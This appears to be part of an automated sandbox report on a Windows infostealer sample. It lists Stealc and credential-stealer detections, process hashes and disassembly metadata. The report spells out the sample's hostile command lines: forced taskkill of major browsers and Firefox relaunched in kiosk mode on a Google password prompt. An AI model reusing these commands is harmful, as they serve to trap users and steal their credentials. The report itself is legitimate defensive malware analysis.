Target ID:	24
Start time:	22:12:49
Start date:	21/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	25
Start time:	22:12:49
Start date:	21/11/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
Imagebase:	0x7ff6bf500000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	26
Start time:	22:12:49
Start date:	21/11/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking --attempting-deelevation
Imagebase:	0x7ff6bf500000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	27
Start time:	22:12:49
Start date:	21/11/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
Imagebase:	0x7ff6bf500000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	28
Start time:	22:12:50
Start date:	21/11/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2300 -parentBuildID 20230927232528 -prefsHandle 2248 -prefMapHandle 2244 -prefsLen 25359 -prefMapSize 237879 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {d5282970-75f9-4307-8dad-68794cef3cce} 416 "\\.\pipe\gecko-crash-server-pipe.416" 177dca6df10 socket
Imagebase:	0x7ff6bf500000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	29
Start time:	22:12:54
Start date:	21/11/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=4408 -parentBuildID 20230927232528 -prefsHandle 4344 -prefMapHandle 4340 -prefsLen 26374 -prefMapSize 237879 -appDir "C:\Program Files\Mozilla Firefox\browser" - {e2a56f3a-59fa-4b64-8f00-5927fb5efce1} 416 "\\.\pipe\gecko-crash-server-pipe.416" 177eec86210 rdd
Imagebase:	0x7ff6bf500000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	30
Start time:	22:12:55
Start date:	21/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1008092001\e01d8601b1.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1008092001\e01d8601b1.exe"
Imagebase:	0x9c0000
File size:	1'731'584 bytes
MD5 hash:	E26B7B214A9BCDADA5B6A91CED4F99B3
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000001E.00000003.2844281590.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000001E.00000002.3262564734.000000000114B000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000001E.00000002.3253024678.00000000009C1000.00000040.00000001.01000000.0000000A.sdmp, Author: Joe Security
Has exited:	false

Show Windows behavior

Target ID:	31
Start time:	22:12:55
Start date:	21/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1008094001\74f23764ea.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1008094001\74f23764ea.exe"
Imagebase:	0xd0000
File size:	2'721'792 bytes
MD5 hash:	28474A1CB1FAFE42F6E83116E07F1837
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Joe Sandbox ML
Has exited:	false

Show Windows behavior

Target ID:	34
Start time:	22:12:56
Start date:	21/11/2024
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 3736 -s 1556
Imagebase:	0x500000
File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	36
Start time:	22:13:03
Start date:	21/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1008093001\bebc60ce74.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1008093001\bebc60ce74.exe"
Imagebase:	0xf30000
File size:	921'600 bytes
MD5 hash:	01BA490C6ED14545D61671AB153BD4E3
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	37
Start time:	22:13:03
Start date:	21/11/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM firefox.exe /T
Imagebase:	0x210000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	38
Start time:	22:13:03
Start date:	21/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	39
Start time:	22:13:11
Start date:	21/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1008094001\74f23764ea.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1008094001\74f23764ea.exe"
Imagebase:	0xd0000
File size:	2'721'792 bytes
MD5 hash:	28474A1CB1FAFE42F6E83116E07F1837
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	40
Start time:	22:13:19
Start date:	21/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe"
Imagebase:	0x610000
File size:	1'826'816 bytes
MD5 hash:	27FA50C74212925790649267140710F1
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000028.00000003.3266423642.00000000013E6000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Has exited:	false

Show Windows behavior

Target ID:	41
Start time:	22:13:23
Start date:	21/11/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM chrome.exe /T
Imagebase:	0x210000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	42
Start time:	22:13:23
Start date:	21/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	43
Start time:	22:13:24
Start date:	21/11/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM msedge.exe /T
Imagebase:	0x210000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	44
Start time:	22:13:24
Start date:	21/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	45
Start time:	22:13:24
Start date:	21/11/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM opera.exe /T
Imagebase:	0x210000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	46
Start time:	22:13:24
Start date:	21/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	47
Start time:	22:13:24
Start date:	21/11/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM brave.exe /T
Imagebase:	0x210000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	48
Start time:	22:13:24
Start date:	21/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	49
Start time:	22:13:25
Start date:	21/11/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
Imagebase:	0x7ff6bf500000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	50
Start time:	22:13:25
Start date:	21/11/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
Imagebase:	0x7ff6bf500000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	51
Start time:	22:13:27
Start date:	21/11/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2300 -parentBuildID 20230927232528 -prefsHandle 2244 -prefMapHandle 2236 -prefsLen 25416 -prefMapSize 238769 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {5c442008-3ced-412d-9347-f3234b6d38f2} 7272 "\\.\pipe\gecko-crash-server-pipe.7272" 19c1ff6f310 socket
Imagebase:	0x7ff6bf500000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	52
Start time:	22:13:28
Start date:	21/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1008092001\e01d8601b1.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1008092001\e01d8601b1.exe"
Imagebase:	0x9c0000
File size:	1'731'584 bytes
MD5 hash:	E26B7B214A9BCDADA5B6A91CED4F99B3
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000034.00000002.3376968431.000000000170B000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000034.00000002.3370665034.00000000009C1000.00000040.00000001.01000000.0000000A.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000034.00000003.3182952645.0000000005200000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Has exited:	false

Show Windows behavior

Target ID:	53
Start time:	22:13:35
Start date:	21/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=0db0ccc3ed.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Imagebase:
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Function 04B60C22 Relevance: .1, Instructions: 109COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1739123023.0000000004B60000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b60000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dfbbabb0a908a516ecf5805cde8e30ab656ebe91d3e23d0698256c9d948d27de
Instruction ID: deb40f6092101d0897dfea5c1088b25a507dca203b0c241d7b55ba37a6c4ded4
Opcode Fuzzy Hash: dfbbabb0a908a516ecf5805cde8e30ab656ebe91d3e23d0698256c9d948d27de
Instruction Fuzzy Hash: 8F11D0EB28D110FE6143E5835B14AF96A6EF2D323033085A6FC0795A02F28E2E5D3172

Function 04B60C29 Relevance: .1, Instructions: 109COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1739123023.0000000004B60000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b60000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bb0505ee3a1985eb1c703a04df6199c0ce774efe4a7117eb75657886e0ca17cb
Instruction ID: b51c187cd4d11a719df75e91ab35ac2fd9314f4eba7bc6ca900a16772af3a4a1
Opcode Fuzzy Hash: bb0505ee3a1985eb1c703a04df6199c0ce774efe4a7117eb75657886e0ca17cb
Instruction Fuzzy Hash: 3111A2EB24D110FE6143E5835B15AF96A6EF6D323033085A6FC0795B02F29E2A583132

Function 04B60CC0 Relevance: .1, Instructions: 102COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1739123023.0000000004B60000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b60000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e70128c6665ca0a3f0301c184a4bb370fda2c7fc49348df111a705e4fba768ae
Instruction ID: a4d70ba2d8ce14218a16dc0b544fd9fe07e64cdf1e36896c2b5aa0343dc010ff
Opcode Fuzzy Hash: e70128c6665ca0a3f0301c184a4bb370fda2c7fc49348df111a705e4fba768ae
Instruction Fuzzy Hash: FE216BDB24D110BDE543EA434B04AF52E5BB3A3230B3085E6F84746943F29D7A493271

Function 04B60C7F Relevance: .1, Instructions: 96COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1739123023.0000000004B60000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b60000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 240249e2b79c78aa8e9fbc4be8c11c7230fb41a9d5d61a1ecb53a91fec4ef50d
Instruction ID: 9ce9d7e0d69b2918286e0a20f395ffd93eaff9eeda0b636d0725a06d97b22da9
Opcode Fuzzy Hash: 240249e2b79c78aa8e9fbc4be8c11c7230fb41a9d5d61a1ecb53a91fec4ef50d
Instruction Fuzzy Hash: 371127AB24D110FE9103F98757056F97E6EF793230730499AF84345942F29D7A593162

Function 04B60C69 Relevance: .1, Instructions: 86COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1739123023.0000000004B60000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b60000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 16a5fe5ba37cd5e06a4382da833df2b8e7a8c07627865b448d423efce04f3311
Instruction ID: 32581c1145a4c83aa255e5d8108a2b74c1225d96a36edb65346475075f18d9d7
Opcode Fuzzy Hash: 16a5fe5ba37cd5e06a4382da833df2b8e7a8c07627865b448d423efce04f3311
Instruction Fuzzy Hash: 041173D728D110FE5143E5875B156B56A5EF69323033085A6B80755B02F69E3A587232

Function 04B60D0C Relevance: .1, Instructions: 59COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1739123023.0000000004B60000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b60000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 832d28ed7b5b6bd1ff372e976498c41d5c43257cb73485651809738622b56161
Instruction ID: 51165594e3e26438d11c4ba73eeeeca9813a41d8ae207d897b4dce846094d32a
Opcode Fuzzy Hash: 832d28ed7b5b6bd1ff372e976498c41d5c43257cb73485651809738622b56161
Instruction Fuzzy Hash: 0DF02DA678C110EF9142F95757152F97AAAB69323073086EBFC4385942F78D3A893133

Function 04B60CF7 Relevance: .1, Instructions: 52COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1739123023.0000000004B60000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b60000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c045debf454091075e7703ad43a26f30235bc4d59ee8b8a0c4169463dffa40ec
Instruction ID: 62092fcfbe64a03630b451a3c56cee98393939cf95aab0a97457a72d31010ebe
Opcode Fuzzy Hash: c045debf454091075e7703ad43a26f30235bc4d59ee8b8a0c4169463dffa40ec
Instruction Fuzzy Hash: 84F0BB9634D020EE5142F5475B557F86E5EA2A323073086E7FC4398A47F28D7A997133

Function 04B60DBA Relevance: .0, Instructions: 32COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1739123023.0000000004B60000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b60000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7bb095870cb27c6164e6ebf52125741d85ba1273c2cbea8e7bf9cee091e193c7
Instruction ID: e4e621f2301cbcdac6c503946d613a4eee9f25436b4a54addd239adcf8d001ee
Opcode Fuzzy Hash: 7bb095870cb27c6164e6ebf52125741d85ba1273c2cbea8e7bf9cee091e193c7
Instruction Fuzzy Hash: C8E0929764D010E7814AFB47C5472B47B65B7332203604BC6AC4749A42F25E36917722

Function 04B60D44 Relevance: .0, Instructions: 31COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1739123023.0000000004B60000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b60000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a0080deafb464f58615d8bb44bc34eb74a9923b7e4d6b3afde80b83363cd8b30
Instruction ID: 545d9be4b7ae99e95777f88dc16324450a369af2babef7d82e375699425245e0
Opcode Fuzzy Hash: a0080deafb464f58615d8bb44bc34eb74a9923b7e4d6b3afde80b83363cd8b30
Instruction Fuzzy Hash: 9DE0269339C111E74045FA4795072787E8AB3332303708BDABC471AA42F60E7A963332

Function 04B60DD9 Relevance: .0, Instructions: 29COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1739123023.0000000004B60000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b60000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a59fea476a8d3d4b49348d7b92d5e49ca910495bf50a4754e098a09769f39512
Instruction ID: b04f48e0d2df0f7604a40f8cdd70f6617a952880aa7009761615ddf27e4ea06a
Opcode Fuzzy Hash: a59fea476a8d3d4b49348d7b92d5e49ca910495bf50a4754e098a09769f39512
Instruction Fuzzy Hash: AAE07DCBE4D420D10001F44B01417F12D0FB3626303F01BC34C571DA45B08E39953190

Function 04B60D80 Relevance: .0, Instructions: 20COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1739123023.0000000004B60000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b60000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 66731479e4904936e78de374273efed0920012eb02cafa86d76e2bdb5295f335
Instruction ID: 1ced037a9a2cbb1e2254521755f41ae57566e01d7bf09f2257b9e34afb7d4a39
Opcode Fuzzy Hash: 66731479e4904936e78de374273efed0920012eb02cafa86d76e2bdb5295f335
Instruction Fuzzy Hash: 4AD0A983A8D134E14102F44702436716C0F323B2302A147E31C47AAB8AF28E3AA032A2

Analysis Process: bebc60ce74.exePID: 7268, Parent PID: 7816COMMON

Execution Graph

Execution Coverage:	2.1%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	4.6%
Total number of Nodes:	1579
Total number of Limit Nodes:	53

Executed Functions

Function 00F342DE Relevance: 21.2, APIs: 9, Strings: 3, Instructions: 235
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetVersionExW.KERNEL32(?), ref: 00F3430D

Part of subcall function 00F36B57: _wcslen.LIBCMT ref: 00F36B6A

GetCurrentProcess.KERNEL32(?,00FCCB64,00000000,?,?), ref: 00F34422
IsWow64Process.KERNEL32(00000000,?,?), ref: 00F34429
LoadLibraryA.KERNEL32(kernel32.dll,?,?), ref: 00F34454
GetProcAddress.KERNEL32(00000000,GetNativeSystemInfo), ref: 00F34466
GetNativeSystemInfo.KERNELBASE(?,?,?), ref: 00F34474
FreeLibrary.KERNEL32(00000000,?,?), ref: 00F3447B
GetSystemInfo.KERNEL32(?,?,?), ref: 00F344A0

Strings

GetNativeSystemInfo, xrefs: 00F34460
|O, xrefs: 00F736F8
kernel32.dll, xrefs: 00F3444F

Memory Dump Source

Source File: 0000000A.00000002.2809581257.0000000000F31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00F30000, based on PE: true

Associated: 0000000A.00000002.2809527518.0000000000F30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FCC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FF2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809863692.0000000000FFC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809916849.0000000001004000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f30000_bebc60ce74.jbxd

Similarity

API ID: InfoLibraryProcessSystem$AddressCurrentFreeLoadNativeProcVersionWow64_wcslen
String ID: GetNativeSystemInfo$kernel32.dll$|O
API String ID: 3290436268-3101561225
Opcode ID: 0a5a52d796d63c77a1e206cec95601a674d7ab1e1deb44d5a01dfb9f425ef548
Instruction ID: add7625ddb78165541183081c440a07b09569081b8cbdc3b62eb43e7702d08f5
Opcode Fuzzy Hash: 0a5a52d796d63c77a1e206cec95601a674d7ab1e1deb44d5a01dfb9f425ef548
Instruction Fuzzy Hash: 3DA1B772D0E2C0DFC737C769B4816957FA47B26314F08D4A9E4C5A3A0AD23AD505FBA2

Function 00F3D85A Relevance: 12.5, APIs: 8, Instructions: 481
timeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

timeGetTime.WINMM ref: 00F3DA07

Memory Dump Source

Source File: 0000000A.00000002.2809581257.0000000000F31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00F30000, based on PE: true

Associated: 0000000A.00000002.2809527518.0000000000F30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FCC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FF2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809863692.0000000000FFC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809916849.0000000001004000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f30000_bebc60ce74.jbxd

Similarity

API ID: Timetime
String ID:
API String ID: 17336451-0
Opcode ID: 15b44f9f96efdfc92af45fddf84bc66bb25ddebb89a66ed1b596724bca08e767
Instruction ID: b066f13a4a93ec3373144604c9c9b4ac38eb601dc258d123c45ae1a7019c6795
Opcode Fuzzy Hash: 15b44f9f96efdfc92af45fddf84bc66bb25ddebb89a66ed1b596724bca08e767
Instruction Fuzzy Hash: 7A12EF71A08201DFD728DF24D884BAAB7E1FF85324F148559F89687291D779F844FB82

Function 00F342A2 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 61
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateStreamOnHGlobal.COMBASE(00000000,00000001,?,?,?,?,?,00F350AA,?,?,00000000,00000000), ref: 00F342B2
FindResourceExW.KERNEL32(?,0000000A,SCRIPT,00000000,?,?,00F350AA,?,?,00000000,00000000), ref: 00F342C9
LoadResource.KERNEL32(?,00000000,?,?,00F350AA,?,?,00000000,00000000,?,?,?,?,?,?,00F34F20), ref: 00F735BE
SizeofResource.KERNEL32(?,00000000,?,?,00F350AA,?,?,00000000,00000000,?,?,?,?,?,?,00F34F20), ref: 00F735D3
LockResource.KERNEL32(00F350AA,?,?,00F350AA,?,?,00000000,00000000,?,?,?,?,?,?,00F34F20,?), ref: 00F735E6

Strings

SCRIPT, xrefs: 00F342BF

Memory Dump Source

Source File: 0000000A.00000002.2809581257.0000000000F31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00F30000, based on PE: true

Associated: 0000000A.00000002.2809527518.0000000000F30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FCC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FF2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809863692.0000000000FFC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809916849.0000000001004000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f30000_bebc60ce74.jbxd

Similarity

API ID: Resource$CreateFindGlobalLoadLockSizeofStream
String ID: SCRIPT
API String ID: 3051347437-3967369404
Opcode ID: a0aadf03291d813e491f98e1fee12d2a54ac37171b742750b0b338bd98b5822a
